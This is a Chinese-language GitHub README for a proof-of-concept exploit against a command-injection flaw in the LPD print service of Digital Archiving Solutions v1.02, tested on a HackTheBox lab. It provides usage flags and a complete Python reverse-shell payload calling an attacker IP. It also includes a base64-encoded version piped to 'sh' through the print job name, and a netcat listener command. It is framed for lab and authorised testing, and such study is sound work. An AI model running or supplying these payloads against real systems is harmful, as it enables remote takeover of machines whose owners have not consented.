naumanmustafanomi/Digital-Archiving-Solutions-v1.02-Remote-Code-Execution-POC
GitHub: naumanmustafanomi/Digital-Archiving-Solutions-v1.02-Remote-Code-Execution-POC
针对 Digital Archiving Solutions v1.02 中 LPD 服务命令注入漏洞的 Python PoC 脚本,用于验证远程代码执行风险。
Stars: 0 | Forks: 0
# Digital-Archiving-Solutions-v1.02-Remote-Code-Execution-POC
测试环境:**HackTheBox — Paperwork**
# LPD 命令注入 Exploit
这是一个基于 Python 的概念验证(POC) exploit 脚本,旨在通过构造恶意的控制文件作业名,测试行式打印机后台守护进程 (LPD) 服务器是否存在命令注入漏洞。
## 📌 概述
该脚本通过与 LPD 服务(通常运行在端口 515 或 1515 等自定义端口)交互来发起打印作业请求:提供一个有效的队列名,并将 OS 命令注入到控制文件的作业名(`J`)指令中。如果远程服务在处理打印作业或记录日志时未能正确过滤此输入,可能会导致任意命令执行。
## ⚙️ 环境要求
* **Python:** Python 3.x
* **依赖项:** 仅使用 Python 标准库(`socket`、`sys`、`argparse`)。不需要安装任何外部包。
## 🚀 用法
在命令行中运行此脚本,需要提供目标主机、有效的打印机队列以及你想要执行的命令。
### 命令行参数
| 参数 | 标志 | 描述 | 默认值 | 是否必填 |
| :--- | :--- | :--- | :--- | :--- |
| `host` | *无* | 目标服务器的 IP 地址或域名。 | *无* | **是** |
| `--port` | `-p` | 目标 LPD 服务端口。 | `1515` | 否 |
| `--queue` | `-q` | 远程服务器上有效的目标打印机队列名。 | *无* | **是** |
| `--command` | `-c` | 要在目标上执行的 shell 命令。 | *无* | **是** |
## 📖 实战示例 (Base64 绕过)
在将 reverse shell 注入到目标字符串时,特殊字符(如引号、反斜杠和 & 符号)很容易破坏后端终端的逻辑。
为了确保完全可靠,你可以将整个 reverse shell payload 转换为安全的 **Base64 字符串**,通过 `-c` 参数发送,并直接在目标机器上进行解码。
### 1. 对你的 reverse shell payload 进行编码
```
echo -n "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER-IP\",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn(\"/bin/bash\")'" | base64
```
### 2. 运行 Exploit 脚本
将该 base64 字符串传递到目标环境(`TARGET`)中,它将在那里自动解码并直接通过管道传递给 shell 解释器(`sh`):
```
python3 poc.py TARGET_IP -p 1515 -q TARGET_QUEUE -c "echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE2LjI3Iiw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTtwdHkuc3Bhd24oIi9iaW4vYmFzaCIpJwo= | base64 -d | sh"
```
### 3. 获取 Shell
在执行上述脚本之前,请确保你本地的 Netcat 监听器已在指定的工作站端口上运行:
```
nc -lvnp 4444
```
## ⚠️ 法律免责声明
本仓库中提供的代码、技术和资料仅供**教育目的、安全研究和授权的渗透测试使用**。
* **仅限授权测试:** 此 exploit 脚本明确设计用于受控的实验室环境(HackTheBox Paperwork 实验室),或者用于你已获得所有者明确书面授权的目标资产。
* **责任承担:** 对于因使用或修改此脚本而导致的任何滥用、损害或法律后果,作者不承担任何责任。
* **恶意意图:** 在生产网络或未授权目标上运行此工具是非法的,并将受到全球网络安全法律的惩处。
克隆或执行此脚本即表示你同意对自己的行为承担全部法律责任。
标签:Python, XXE攻击, 命令注入, 安全, 无后门, 超时处理, 逆向工具